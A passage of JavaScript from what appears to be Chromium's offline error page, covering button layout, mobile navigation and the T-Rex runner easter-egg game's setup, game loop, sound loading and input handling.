  if (reloadButton.style.display === 'none' &&
      downloadButton.style.display === 'none') {
    detailsButton.classList.add('singular');
  }

  // Show or hide control buttons.
  const controlButtonDiv = document.getElementById('control-buttons');
  controlButtonDiv.hidden =
      offlineContentVisible || !(reloadButtonVisible || downloadButtonVisible);

  const iconClass = loadTimeData.valueExists('iconClass') &&
      loadTimeData.getValue('iconClass');

  updateIconClass(iconClass);

  if (!isSubFrame && iconClass === 'icon-offline') {
    document.documentElement.classList.add('offline');
    new Runner('.interstitial-wrapper');
  }
}

function onDocumentLoad() {
  // Sets up the proper button layout for the current platform.
  const buttonsDiv = document.getElementById('buttons');
  if (primaryControlOnLeft) {
    buttonsDiv.classList.add('suggested-left');
  } else {
    buttonsDiv.classList.add('suggested-right');
  }

  onDocumentLoadOrUpdate();
}

document.addEventListener('DOMContentLoaded', onDocumentLoad);
</script>
  <script>// Copyright 2015 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

let mobileNav = false;

/**
 * For small screen mobile the navigation buttons are moved
 * below the advanced text.
 */
function onResize() {
  const helpOuterBox = document.querySelector('#details');
  const mainContent = document.querySelector('#main-content');
  const mediaQuery = '(min-width: 240px) and (max-width: 420px) and ' +
      '(min-height: 401px), ' +
      '(max-height: 560px) and (min-height: 240px) and ' +
      '(min-width: 421px)';

  const detailsHidden = helpOuterBox.classList.contains(HIDDEN_CLASS);
  const runnerContainer = document.querySelector('.runner-container');

  // Check for change in nav status.
  if (mobileNav !== window.matchMedia(mediaQuery).matches) {
    mobileNav = !mobileNav;

    // Handle showing the top content / details sections according to state.
    if (mobileNav) {
      mainContent.classList.toggle(HIDDEN_CLASS, !detailsHidden);
      helpOuterBox.classList.toggle(HIDDEN_CLASS, detailsHidden);
      if (runnerContainer) {
        runnerContainer.classList.toggle(HIDDEN_CLASS, !detailsHidden);
      }
    } else if (!detailsHidden) {
      // Non mobile nav with visible details.
      mainContent.classList.remove(HIDDEN_CLASS);
      helpOuterBox.classList.remove(HIDDEN_CLASS);
      if (runnerContainer) {
        runnerContainer.classList.remove(HIDDEN_CLASS);
      }
    }
  }
}

function setupMobileNav() {
  window.addEventListener('resize', onResize);
  onResize();
}

document.addEventListener('DOMContentLoaded', setupMobileNav);
</script>
  <script>// Copyright 2014 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

/**
 * T-Rex runner.
 * @param {string} outerContainerId Outer containing element id.
 * @param {!Object=} opt_config
 * @constructor
 * @implements {EventListener}
 * @export
 */
function Runner(outerContainerId, opt_config) {
  // Singleton
  if (Runner.instance_) {
    return Runner.instance_;
  }
  Runner.instance_ = this;

  this.outerContainerEl = document.querySelector(outerContainerId);
  this.containerEl = null;
  this.snackbarEl = null;
  // A div to intercept touch events. Only set while (playing && useTouch).
  this.touchController = null;

  this.config = opt_config || Object.assign(Runner.config, Runner.normalConfig);
  // Logical dimensions of the container.
  this.dimensions = Runner.defaultDimensions;

  this.gameType = null;
  Runner.spriteDefinition = Runner.spriteDefinitionByType['original'];

  this.altGameImageSprite = null;
  this.altGameModeActive = false;
  this.altGameModeFlashTimer = null;
  this.fadeInTimer = 0;

  this.canvas = null;
  this.canvasCtx = null;

  this.tRex = null;

  this.distanceMeter = null;
  this.distanceRan = 0;

  this.highestScore = 0;
  this.syncHighestScore = false;

  this.time = 0;
  this.runningTime = 0;
  this.msPerFrame = 1000 / FPS;
  this.currentSpeed = this.config.SPEED;
  Runner.slowDown = false;

  this.obstacles = [];

  this.activated = false; // Whether the easter egg has been activated.
  this.playing = false; // Whether the game is currently in play state.
  this.crashed = false;
  this.paused = false;
  this.inverted = false;
  this.invertTimer = 0;
  this.resizeTimerId_ = null;

  this.playCount = 0;

  // Sound FX.
  this.audioBuffer = null;

  /** @type {Object} */
  this.soundFx = {};
  this.generatedSoundFx = null;

  // Global web audio context for playing sounds.
  this.audioContext = null;

  // Images.
  this.images = {};
  this.imagesLoaded = 0;

  // Gamepad state.
  this.pollingGamepads = false;
  this.gamepadIndex = undefined;
  this.previousGamepad = null;

  if (this.isDisabled()) {
    this.setupDisabledRunner();
  } else {
    if (Runner.isAltGameModeEnabled()) {
      this.initAltGameType();
      Runner.gameType = this.gameType;
    }
    this.loadImages();

    window['initializeEasterEggHighScore'] =
        this.initializeHighScore.bind(this);
  }
}

/**
 * Default game width.
 * @const
 */
const DEFAULT_WIDTH = 600;

/**
 * Frames per second.
 * @const
 */
const FPS = 60;

/** @const */
const IS_HIDPI = window.devicePixelRatio > 1;

/** @const */
const IS_IOS = /CriOS/.test(window.navigator.userAgent);

/** @const */
const IS_MOBILE = /Android/.test(window.navigator.userAgent) || IS_IOS;

/** @const */
const IS_RTL = document.querySelector('html').dir == 'rtl';

/** @const */
const ARCADE_MODE_URL = 'chrome://dino/';

/** @const */
const RESOURCE_POSTFIX = 'offline-resources-';

/** @const */
const A11Y_STRINGS = {
  ariaLabel: 'dinoGameA11yAriaLabel',
  description: 'dinoGameA11yDescription',
  gameOver: 'dinoGameA11yGameOver',
  highScore: 'dinoGameA11yHighScore',
  jump: 'dinoGameA11yJump',
  started: 'dinoGameA11yStartGame',
  speedLabel: 'dinoGameA11ySpeedToggle',
};

/**
 * Default game configuration.
 * Shared config for all  versions of the game. Additional parameters are
 * defined in Runner.normalConfig and Runner.slowConfig.
 */
Runner.config = {
  AUDIOCUE_PROXIMITY_THRESHOLD: 190,
  AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 250,
  BG_CLOUD_SPEED: 0.2,
  BOTTOM_PAD: 10,
  // Scroll Y threshold at which the game can be activated.
  CANVAS_IN_VIEW_OFFSET: -10,
  CLEAR_TIME: 3000,
  CLOUD_FREQUENCY: 0.5,
  FADE_DURATION: 1,
  FLASH_DURATION: 1000,
  GAMEOVER_CLEAR_TIME: 1200,
  INITIAL_JUMP_VELOCITY: 12,
  INVERT_FADE_DURATION: 12000,
  MAX_BLINK_COUNT: 3,
  MAX_CLOUDS: 6,
  MAX_OBSTACLE_LENGTH: 3,
  MAX_OBSTACLE_DUPLICATION: 2,
  RESOURCE_TEMPLATE_ID: 'audio-resources',
  SPEED: 6,
  SPEED_DROP_COEFFICIENT: 3,
  ARCADE_MODE_INITIAL_TOP_POSITION: 35,
  ARCADE_MODE_TOP_POSITION_PERCENT: 0.1,
};

Runner.normalConfig = {
  ACCELERATION: 0.001,
  AUDIOCUE_PROXIMITY_THRESHOLD: 190,
  AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 250,
  GAP_COEFFICIENT: 0.6,
  INVERT_DISTANCE: 700,
  MAX_SPEED: 13,
  MOBILE_SPEED_COEFFICIENT: 1.2,
  SPEED: 6,
};


Runner.slowConfig = {
  ACCELERATION: 0.0005,
  AUDIOCUE_PROXIMITY_THRESHOLD: 170,
  AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 220,
  GAP_COEFFICIENT: 0.3,
  INVERT_DISTANCE: 350,
  MAX_SPEED: 9,
  MOBILE_SPEED_COEFFICIENT: 1.5,
  SPEED: 4.2,
};


/**
 * Default dimensions.
 */
Runner.defaultDimensions = {
  WIDTH: DEFAULT_WIDTH,
  HEIGHT: 150,
};


/**
 * CSS class names.
 * @enum {string}
 */
Runner.classes = {
  ARCADE_MODE: 'arcade-mode',
  CANVAS: 'runner-canvas',
  CONTAINER: 'runner-container',
  CRASHED: 'crashed',
  ICON: 'icon-offline',
  INVERTED: 'inverted',
  SNACKBAR: 'snackbar',
  SNACKBAR_SHOW: 'snackbar-show',
  TOUCH_CONTROLLER: 'controller',
};


/**
 * Sound FX. Reference to the ID of the audio tag on interstitial page.
 * @enum {string}
 */
Runner.sounds = {
  BUTTON_PRESS: 'offline-sound-press',
  HIT: 'offline-sound-hit',
  SCORE: 'offline-sound-reached',
};


/**
 * Key code mapping.
 * @enum {Object}
 */
Runner.keycodes = {
  JUMP: {'38': 1, '32': 1},  // Up, spacebar
  DUCK: {'40': 1},           // Down
  RESTART: {'13': 1},        // Enter
};


/**
 * Runner event names.
 * @enum {string}
 */
Runner.events = {
  ANIM_END: 'webkitAnimationEnd',
  CLICK: 'click',
  KEYDOWN: 'keydown',
  KEYUP: 'keyup',
  POINTERDOWN: 'pointerdown',
  POINTERUP: 'pointerup',
  RESIZE: 'resize',
  TOUCHEND: 'touchend',
  TOUCHSTART: 'touchstart',
  VISIBILITY: 'visibilitychange',
  BLUR: 'blur',
  FOCUS: 'focus',
  LOAD: 'load',
  GAMEPADCONNECTED: 'gamepadconnected',
};

Runner.prototype = {
  /**
   * Initialize alternative game type.
   */
  initAltGameType() {
    if (GAME_TYPE.length > 0) {
      this.gameType = loadTimeData && loadTimeData.valueExists('altGameType') ?
          GAME_TYPE[parseInt(loadTimeData.getValue('altGameType'), 10) - 1] :
          '';
    }
  },

  /**
   * Whether the easter egg has been disabled. CrOS enterprise enrolled devices.
   * @return {boolean}
   */
  isDisabled() {
    return loadTimeData && loadTimeData.valueExists('disabledEasterEgg');
  },

  /**
   * For disabled instances, set up a snackbar with the disabled message.
   */
  setupDisabledRunner() {
    this.containerEl = document.createElement('div');
    this.containerEl.className = Runner.classes.SNACKBAR;
    this.containerEl.textContent = loadTimeData.getValue('disabledEasterEgg');
    this.outerContainerEl.appendChild(this.containerEl);

    // Show notification when the activation key is pressed.
    document.addEventListener(Runner.events.KEYDOWN, function(e) {
      if (Runner.keycodes.JUMP[e.keyCode]) {
        this.containerEl.classList.add(Runner.classes.SNACKBAR_SHOW);
        document.querySelector('.icon').classList.add('icon-disabled');
      }
    }.bind(this));
  },

  /**
   * Setting individual settings for debugging.
   * @param {string} setting
   * @param {number|string} value
   */
  updateConfigSetting(setting, value) {
    if (setting in this.config && value !== undefined) {
      this.config[setting] = value;

      switch (setting) {
        case 'GRAVITY':
        case 'MIN_JUMP_HEIGHT':
        case 'SPEED_DROP_COEFFICIENT':
          this.tRex.config[setting] = value;
          break;
        case 'INITIAL_JUMP_VELOCITY':
          this.tRex.setJumpVelocity(value);
          break;
        case 'SPEED':
          this.setSpeed(/** @type {number} */ (value));
          break;
      }
    }
  },

  /**
   * Creates an on page image element from the base 64 encoded string source.
   * @param {string} resourceName Name in data object,
   * @return {HTMLImageElement} The created element.
   */
  createImageElement(resourceName) {
    const imgSrc = loadTimeData && loadTimeData.valueExists(resourceName) ?
        loadTimeData.getString(resourceName) :
        null;

    if (imgSrc) {
      const el =
          /** @type {HTMLImageElement} */ (document.createElement('img'));
      el.id = resourceName;
      el.src = imgSrc;
      document.getElementById('offline-resources').appendChild(el);
      return el;
    }
    return null;
  },

  /**
   * Cache the appropriate image sprite from the page and get the sprite sheet
   * definition.
   */
  loadImages() {
    let scale = '1x';
    this.spriteDef = Runner.spriteDefinition.LDPI;
    if (IS_HIDPI) {
      scale = '2x';
      this.spriteDef = Runner.spriteDefinition.HDPI;
    }

    Runner.imageSprite = /** @type {HTMLImageElement} */
        (document.getElementById(RESOURCE_POSTFIX + scale));

    if (this.gameType) {
      Runner.altGameImageSprite = /** @type {HTMLImageElement} */
          (this.createImageElement('altGameSpecificImage' + scale));
      Runner.altCommonImageSprite = /** @type {HTMLImageElement} */
          (this.createImageElement('altGameCommonImage' + scale));
    }
    Runner.origImageSprite = Runner.imageSprite;

    // Disable the alt game mode if the sprites can't be loaded.
    if (!Runner.altGameImageSprite || !Runner.altCommonImageSprite) {
      Runner.isAltGameModeEnabled = () => false;
      this.altGameModeActive = false;
    }

    if (Runner.imageSprite.complete) {
      this.init();
    } else {
      // If the images are not yet loaded, add a listener.
      Runner.imageSprite.addEventListener(Runner.events.LOAD,
          this.init.bind(this));
    }
  },

  /**
   * Load and decode base 64 encoded sounds.
   */
  loadSounds() {
    if (!IS_IOS) {
      this.audioContext = new AudioContext();

      const resourceTemplate =
          document.getElementById(this.config.RESOURCE_TEMPLATE_ID).content;

      for (const sound in Runner.sounds) {
        let soundSrc =
            resourceTemplate.getElementById(Runner.sounds[sound]).src;
        soundSrc = soundSrc.substr(soundSrc.indexOf(',') + 1);
        const buffer = decodeBase64ToArrayBuffer(soundSrc);

        // Async, so no guarantee of order in array.
        this.audioContext.decodeAudioData(buffer, function(index, audioData) {
            this.soundFx[index] = audioData;
          }.bind(this, sound));
      }
    }
  },

  /**
   * Sets the game speed. Adjust the speed accordingly if on a smaller screen.
   * @param {number=} opt_speed
   */
  setSpeed(opt_speed) {
    const speed = opt_speed || this.currentSpeed;

    // Reduce the speed on smaller mobile screens.
    if (this.dimensions.WIDTH < DEFAULT_WIDTH) {
      const mobileSpeed = Runner.slowDown ? speed :
                                            speed * this.dimensions.WIDTH /
              DEFAULT_WIDTH * this.config.MOBILE_SPEED_COEFFICIENT;
      this.currentSpeed = mobileSpeed > speed ? speed : mobileSpeed;
    } else if (opt_speed) {
      this.currentSpeed = opt_speed;
    }
  },

  /**
   * Game initialiser.
   */
  init() {
    // Hide the static icon.
    document.querySelector('.' + Runner.classes.ICON).style.visibility =
        'hidden';

    this.adjustDimensions();
    this.setSpeed();

    const ariaLabel = getA11yString(A11Y_STRINGS.ariaLabel);
    this.containerEl = document.createElement('div');
    this.containerEl.setAttribute('role', IS_MOBILE ? 'button' : 'application');
    this.containerEl.setAttribute('tabindex', '0');
    this.containerEl.setAttribute('title', ariaLabel);

    this.containerEl.className = Runner.classes.CONTAINER;

    // Player canvas container.
    this.canvas = createCanvas(this.containerEl, this.dimensions.WIDTH,
        this.dimensions.HEIGHT);

    // Live region for game status updates.
    this.a11yStatusEl = document.createElement('span');
    this.a11yStatusEl.className = 'offline-runner-live-region';
    this.a11yStatusEl.setAttribute('aria-live', 'assertive');
    this.a11yStatusEl.textContent = '';
    Runner.a11yStatusEl = this.a11yStatusEl;

    // Add checkbox to slow down the game.
    this.slowSpeedCheckboxLabel = document.createElement('label');
    this.slowSpeedCheckboxLabel.className = 'slow-speed-option hidden';
    this.slowSpeedCheckboxLabel.textContent =
        getA11yString(A11Y_STRINGS.speedLabel);

    this.slowSpeedCheckbox = document.createElement('input');
    this.slowSpeedCheckbox.setAttribute('type', 'checkbox');
    this.slowSpeedCheckbox.setAttribute(
        'title', getA11yString(A11Y_STRINGS.speedLabel));
    this.slowSpeedCheckbox.setAttribute('tabindex', '0');
    this.slowSpeedCheckbox.setAttribute('checked', 'checked');

    this.slowSpeedToggleEl = document.createElement('span');
    this.slowSpeedToggleEl.className = 'slow-speed-toggle';

    this.slowSpeedCheckboxLabel.appendChild(this.slowSpeedCheckbox);
    this.slowSpeedCheckboxLabel.appendChild(this.slowSpeedToggleEl);

    if (IS_IOS) {
      this.outerContainerEl.appendChild(this.a11yStatusEl);
    } else {
      this.containerEl.appendChild(this.a11yStatusEl);
    }

    announcePhrase(getA11yString(A11Y_STRINGS.description));

    this.generatedSoundFx = new GeneratedSoundFx();

    this.canvasCtx =
        /** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
    this.canvasCtx.fillStyle = '#f7f7f7';
    this.canvasCtx.fill();
    Runner.updateCanvasScaling(this.canvas);

    // Horizon contains clouds, obstacles and the ground.
    this.horizon = new Horizon(this.canvas, this.spriteDef, this.dimensions,
        this.config.GAP_COEFFICIENT);

    // Distance meter
    this.distanceMeter = new DistanceMeter(this.canvas,
          this.spriteDef.TEXT_SPRITE, this.dimensions.WIDTH);

    // Draw t-rex
    this.tRex = new Trex(this.canvas, this.spriteDef.TREX);

    this.outerContainerEl.appendChild(this.containerEl);
    this.outerContainerEl.appendChild(this.slowSpeedCheckboxLabel);

    this.startListening();
    this.update();

    window.addEventListener(Runner.events.RESIZE,
        this.debounceResize.bind(this));

    // Handle dark mode
    const darkModeMediaQuery =
        window.matchMedia('(prefers-color-scheme: dark)');
    this.isDarkMode = darkModeMediaQuery && darkModeMediaQuery.matches;
    darkModeMediaQuery.addListener((e) => {
      this.isDarkMode = e.matches;
    });
  },

  /**
   * Create the touch controller. A div that covers whole screen.
   */
  createTouchController() {
    this.touchController = document.createElement('div');
    this.touchController.className = Runner.classes.TOUCH_CONTROLLER;
    this.touchController.addEventListener(Runner.events.TOUCHSTART, this);
    this.touchController.addEventListener(Runner.events.TOUCHEND, this);
    this.outerContainerEl.appendChild(this.touchController);
  },

  /**
   * Debounce the resize event.
   */
  debounceResize() {
    if (!this.resizeTimerId_) {
      this.resizeTimerId_ =
          setInterval(this.adjustDimensions.bind(this), 250);
    }
  },

  /**
   * Adjust game space dimensions on resize.
   */
  adjustDimensions() {
    clearInterval(this.resizeTimerId_);
    this.resizeTimerId_ = null;

    const boxStyles = window.getComputedStyle(this.outerContainerEl);
    const padding = Number(boxStyles.paddingLeft.substr(0,
        boxStyles.paddingLeft.length - 2));

    this.dimensions.WIDTH = this.outerContainerEl.offsetWidth - padding * 2;
    if (this.isArcadeMode()) {
      this.dimensions.WIDTH = Math.min(DEFAULT_WIDTH, this.dimensions.WIDTH);
      if (this.activated) {
        this.setArcadeModeContainerScale();
      }
    }

    // Redraw the elements back onto the canvas.
    if (this.canvas) {
      this.canvas.width = this.dimensions.WIDTH;
      this.canvas.height = this.dimensions.HEIGHT;

      Runner.updateCanvasScaling(this.canvas);

      this.distanceMeter.calcXPos(this.dimensions.WIDTH);
      this.clearCanvas();
      this.horizon.update(0, 0, true);
      this.tRex.update(0);

      // Outer container and distance meter.
      if (this.playing || this.crashed || this.paused) {
        this.containerEl.style.width = this.dimensions.WIDTH + 'px';
        this.containerEl.style.height = this.dimensions.HEIGHT + 'px';
        this.distanceMeter.update(0, Math.ceil(this.distanceRan));
        this.stop();
      } else {
        this.tRex.draw(0, 0);
      }

      // Game over panel.
      if (this.crashed && this.gameOverPanel) {
        this.gameOverPanel.updateDimensions(this.dimensions.WIDTH);
        this.gameOverPanel.draw(this.altGameModeActive, this.tRex);
      }
    }
  },

  /**
   * Play the game intro.
   * Canvas container width expands out to the full width.
   */
  playIntro() {
    if (!this.activated && !this.crashed) {
      this.playingIntro = true;
      this.tRex.playingIntro = true;

      // CSS animation definition.
      const keyframes = '@-webkit-keyframes intro { ' +
            'from { width:' + Trex.config.WIDTH + 'px }' +
            'to { width: ' + this.dimensions.WIDTH + 'px }' +
          '}';
      document.styleSheets[0].insertRule(keyframes, 0);

      this.containerEl.addEventListener(Runner.events.ANIM_END,
          this.startGame.bind(this));

      this.containerEl.style.webkitAnimation = 'intro .4s ease-out 1 both';
      this.containerEl.style.width = this.dimensions.WIDTH + 'px';

      this.setPlayStatus(true);
      this.activated = true;
    } else if (this.crashed) {
      this.restart();
    }
  },


  /**
   * Update the game status to started.
   */
  startGame() {
    if (this.isArcadeMode()) {
      this.setArcadeMode();
    }
    this.toggleSpeed();
    this.runningTime = 0;
    this.playingIntro = false;
    this.tRex.playingIntro = false;
    this.containerEl.style.webkitAnimation = '';
    this.playCount++;
    this.generatedSoundFx.background();
    announcePhrase(getA11yString(A11Y_STRINGS.started));

    if (Runner.audioCues) {
      this.containerEl.setAttribute('title', getA11yString(A11Y_STRINGS.jump));
    }

    // Handle tabbing off the page. Pause the current game.
    document.addEventListener(Runner.events.VISIBILITY,
          this.onVisibilityChange.bind(this));

    window.addEventListener(Runner.events.BLUR,
          this.onVisibilityChange.bind(this));

    window.addEventListener(Runner.events.FOCUS,
          this.onVisibilityChange.bind(this));
  },

  clearCanvas() {
    this.canvasCtx.clearRect(0, 0, this.dimensions.WIDTH,
        this.dimensions.HEIGHT);
  },

  /**
   * Checks whether the canvas area is in the viewport of the browser
   * through the current scroll position.
   * @return boolean.
   */
  isCanvasInView() {
    return this.containerEl.getBoundingClientRect().top >
        Runner.config.CANVAS_IN_VIEW_OFFSET;
  },

  /**
   * Enable the alt game mode. Switching out the sprites.
   */
  enableAltGameMode() {
    Runner.imageSprite = Runner.altGameImageSprite;
    Runner.spriteDefinition = Runner.spriteDefinitionByType[Runner.gameType];

    if (IS_HIDPI) {
      this.spriteDef = Runner.spriteDefinition.HDPI;
    } else {
      this.spriteDef = Runner.spriteDefinition.LDPI;
    }

    this.altGameModeActive = true;
    this.tRex.enableAltGameMode(this.spriteDef.TREX);
    this.horizon.enableAltGameMode(this.spriteDef);
    this.generatedSoundFx.background();
  },

  /**
   * Update the game frame and schedules the next one.
   */
  update() {
    this.updatePending = false;

    const now = getTimeStamp();
    let deltaTime = now - (this.time || now);

    // Flashing when switching game modes.
    if (this.altGameModeFlashTimer < 0 || this.altGameModeFlashTimer === 0) {
      this.altGameModeFlashTimer = null;
      this.tRex.setFlashing(false);
      this.enableAltGameMode();
    } else if (this.altGameModeFlashTimer > 0) {
      this.altGameModeFlashTimer -= deltaTime;
      this.tRex.update(deltaTime);
      deltaTime = 0;
    }

    this.time = now;

    if (this.playing) {
      this.clearCanvas();

      // Additional fade in - Prevents jump when switching sprites
      if (this.altGameModeActive &&
          this.fadeInTimer <= this.config.FADE_DURATION) {
        this.fadeInTimer += deltaTime / 1000;
        this.canvasCtx.globalAlpha = this.fadeInTimer;
      } else {
        this.canvasCtx.globalAlpha = 1;
      }

      if (this.tRex.jumping) {
        this.tRex.updateJump(deltaTime);
      }

      this.runningTime += deltaTime;
      const hasObstacles = this.runningTime > this.config.CLEAR_TIME;

      // First jump triggers the intro.
      if (this.tRex.jumpCount === 1 && !this.playingIntro) {
        this.playIntro();
      }

      // The horizon doesn't move until the intro is over.
      if (this.playingIntro) {
        this.horizon.update(0, this.currentSpeed, hasObstacles);
      } else if (!this.crashed) {
        const showNightMode = this.isDarkMode ^ this.inverted;
        deltaTime = !this.activated ? 0 : deltaTime;
        this.horizon.update(
            deltaTime, this.currentSpeed, hasObstacles, showNightMode);
      }

      // Check for collisions.
      let collision = hasObstacles &&
          checkForCollision(this.horizon.obstacles[0], this.tRex);

      // For a11y, audio cues.
      if (Runner.audioCues && hasObstacles) {
        const jumpObstacle =
            this.horizon.obstacles[0].typeConfig.type != 'COLLECTABLE';

        if (!this.horizon.obstacles[0].jumpAlerted) {
          const threshold = Runner.isMobileMouseInput ?
              Runner.config.AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y :
              Runner.config.AUDIOCUE_PROXIMITY_THRESHOLD;
          const adjProximityThreshold = threshold +
              (threshold * Math.log10(this.currentSpeed / Runner.config.SPEED));

          if (this.horizon.obstacles[0].xPos < adjProximityThreshold) {
            if (jumpObstacle) {
              this.generatedSoundFx.jump();
            }
            this.horizon.obstacles[0].jumpAlerted = true;
          }
        }
      }

      // Activated alt game mode.
      if (Runner.isAltGameModeEnabled() && collision &&
          this.horizon.obstacles[0].typeConfig.type == 'COLLECTABLE') {
        this.horizon.removeFirstObstacle();
        this.tRex.setFlashing(true);
        collision = false;
        this.altGameModeFlashTimer = this.config.FLASH_DURATION;
        this.runningTime = 0;
        this.generatedSoundFx.collect();
      }

      if (!collision) {
        this.distanceRan += this.currentSpeed * deltaTime / this.msPerFrame;

        if (this.currentSpeed < this.config.MAX_SPEED) {
          this.currentSpeed += this.config.ACCELERATION;
        }
      } else {
        this.gameOver();
      }

      const playAchievementSound = this.distanceMeter.update(deltaTime,
          Math.ceil(this.distanceRan));

      if (!Runner.audioCues && playAchievementSound) {
        this.playSound(this.soundFx.SCORE);
      }

      // Night mode.
      if (!Runner.isAltGameModeEnabled()) {
        if (this.invertTimer > this.config.INVERT_FADE_DURATION) {
          this.invertTimer = 0;
          this.invertTrigger = false;
          this.invert(false);
        } else if (this.invertTimer) {
          this.invertTimer += deltaTime;
        } else {
          const actualDistance =
              this.distanceMeter.getActualDistance(Math.ceil(this.distanceRan));

          if (actualDistance > 0) {
            this.invertTrigger =
                !(actualDistance % this.config.INVERT_DISTANCE);

            if (this.invertTrigger && this.invertTimer === 0) {
              this.invertTimer += deltaTime;
              this.invert(false);
            }
          }
        }
      }
    }

    if (this.playing || (!this.activated &&
        this.tRex.blinkCount < Runner.config.MAX_BLINK_COUNT)) {
      this.tRex.update(deltaTime);
      this.scheduleNextUpdate();
    }
  },

  /**
   * Event handler.
   * @param {Event} e
   */
  handleEvent(e) {
    return (function(evtType, events) {
      switch (evtType) {
        case events.KEYDOWN:
        case events.TOUCHSTART:
        case events.POINTERDOWN:
          this.onKeyDown(e);
          break;
        case events.KEYUP:
        case events.TOUCHEND:
        case events.POINTERUP:
          this.onKeyUp(e);
          break;
        case events.GAMEPADCONNECTED:
          this.onGamepadConnected(e);
          break;
      }
    }.bind(this))(e.type, Runner.events);
  },

  /**
   * Initialize audio cues if activated by focus on the canvas element.
   * @param {Event} e
   */
  handleCanvasKeyPress(e) {
    if (!this.activated && !Runner.audioCues) {
      this.toggleSpeed();
      Runner.audioCues = true;
      this.generatedSoundFx.init();
      Runner.generatedSoundFx = this.generatedSoundFx;
      Runner.config.CLEAR_TIME *= 1.2;
    } else if (e.keyCode && Runner.keycodes.JUMP[e.keyCode]) {
      this.onKeyDown(e);
    }
  },

  /**
   * Prevent space key press from scrolling.
   * @param {Event} e
   */
  preventScrolling(e) {
    if (e.keyCode === 32) {
      e.preventDefault();
    }
  },

  /**
   * Toggle speed setting if toggle is shown.
   */
  toggleSpeed() {
    if (Runner.audioCues) {
      const speedChange = Runner.slowDown != this.slowSpeedCheckbox.checked;

      if (speedChange) {
        Runner.slowDown = this.slowSpeedCheckbox.checked;
        const updatedConfig =
            Runner.slowDown ? Runner.slowConfig : Runner.normalConfig;

        Runner.config = Object.assign(Runner.config, updatedConfig);
        this.currentSpeed = updatedConfig.SPEED;
        this.tRex.enableSlowConfig();
        this.horizon.adjustObstacleSpeed();
      }
      if (this.playing) {
        this.disableSpeedToggle(true);
      }
    }
  },

  /**
   * Show the speed toggle.
   * From focus event or when audio cues are activated.
   * @param {Event=} e
   */
  showSpeedToggle(e) {
    const isFocusEvent = e && e.type == 'focus';
    if (Runner.audioCues || isFocusEvent) {
      this.slowSpeedCheckboxLabel.classList.toggle(
          HIDDEN_CLASS, isFocusEvent ? false : !this.crashed);
    }
  },

  /**
   * Disable the speed toggle.
   * @param {boolean} disable
   */
  disableSpeedToggle(disable) {
    if (disable) {
      this.slowSpeedCheckbox.setAttribute('disabled', 'disabled');
    } else {
      this.slowSpeedCheckbox.removeAttribute('disabled');
    }
  },

  /**
   * Bind relevant key / mouse / touch listeners.
   */
  startListening() {
    // A11y keyboard / screen reader activation.
    this.containerEl.addEventListener(
        Runner.events.KEYDOWN, this.handleCanvasKeyPress.bind(this));
    if (!IS_MOBILE) {
      this.containerEl.addEventListener(
          Runner.events.FOCUS, this.showSpeedToggle.bind(this));
    }
    this.canvas.addEventListener(
        Runner.events.KEYDOWN, this.preventScrolling.bind(this));
    this.canvas.addEventListener(
        Runner.events.KEYUP, this.preventScrolling.bind(this));

    // Keys.
    document.addEventListener(Runner.events.KEYDOWN, this);
    document.addEventListener(Runner.events.KEYUP, this);

    // Touch / pointer.
    this.containerEl.addEventListener(Runner.events.TOUCHSTART, this);
    document.addEventListener(Runner.events.POINTERDOWN, this);
    document.addEventListener(Runner.events.POINTERUP, this);

    if (this.isArcadeMode()) {
      // Gamepad
      window.addEventListener(Runner.events.GAMEPADCONNECTED, this);
    }
  },

  /**
   * Remove all listeners.
   */
  stopListening() {
    document.removeEventListener(Runner.events.KEYDOWN, this);
    document.removeEventListener(Runner.events.KEYUP, this);

    if (this.touchController) {
      this.touchController.removeEventListener(Runner.events.TOUCHSTART, this);
      this.touchController.removeEventListener(Runner.events.TOUCHEND, this);
    }

    this.containerEl.removeEventListener(Runner.events.TOUCHSTART, this);
    document.removeEventListener(Runner.events.POINTERDOWN, this);
    document.removeEventListener(Runner.events.POINTERUP, this);

    if (this.isArcadeMode()) {
      window.removeEventListener(Runner.events.GAMEPADCONNECTED, this);
    }
  },

  /**
   * Process keydown.
   * @param {Event} e
   */
  onKeyDown(e) {
    // Prevent native page scrolling whilst tapping on mobile.
    if (IS_MOBILE && this.playing) {
      e.preventDefault();
    }

    if (this.isCanvasInView()) {
      // Allow toggling of speed toggle.
      if (Runner.keycodes.JUMP[e.keyCode] &&
          e.target == this.slowSpeedCheckbox) {
        return;
      }

      if (!this.crashed && !this.paused) {
        // For a11y, screen reader activation.
        const isMobileMouseInput = IS_MOBILE &&
                e.type === Runner.events.POINTERDOWN &&
                e.pointerType == 'mouse' && e.target == this.containerEl ||
            (IS_IOS && e.pointerType == 'touch' &&
             document.activeElement == this.containerEl);

        if (Runner.keycodes.JUMP[e.keyCode] ||
            e.type === Runner.events.TOUCHSTART || isMobileMouseInput ||
            (Runner.keycodes.DUCK[e.keyCode] && this.altGameModeActive)) {
          e.preventDefault();
          // Starting the game for the first time.
          if (!this.playing) {
            // Started by touch so create a touch controller.
            if (!this.touchController && e.type === Runner.events.TOUCHSTART) {
              this.createTouchController();
            }

            if (isMobileMouseInput) {
              this.handleCanvasKeyPress(e);
            }
            this.loadSounds();
            this.setPlayStatus(true);
            this.update();
            if (window.errorPageController) {
              errorPageController.trackEasterEgg();
            }
          }
          // Start jump.
          if (!this.tRex.jumping && !this.tRex.ducking) {
            if (Runner.audioCues) {
              this.generatedSoundFx.cancelFootSteps();
            } else {
              this.playSound(this.soundFx.BUTTON_PRESS);
            }
            this.tRex.startJump(this.currentSpeed);
          }
          // Ducking is disabled on alt game modes.
        } else if (
            !this.altGameModeActive && this.playing &&
            Runner.keycodes.DUCK[e.keyCode]) {
          e.preventDefault();
          if (this.tRex.jumping) {
            // Speed drop, activated only when jump key is not pressed.
            this.tRex.setSpeedDrop();
          } else if (!this.tRex.jumping && !this.tRex.ducking) {
            // Duck.
            this.tRex.setDuck(true);
          }
        }
      }
    }
  },

  /**
   * Process key up.
   * @param {Event} e
   */
  onKeyUp(e) {
    const keyCode = String(e.keyCode);
    const isjumpKey = Runner.keycodes.JUMP[keyCode] ||
        e.type === Runner.events.TOUCHEND || e.type === Runner.events.POINTERUP;

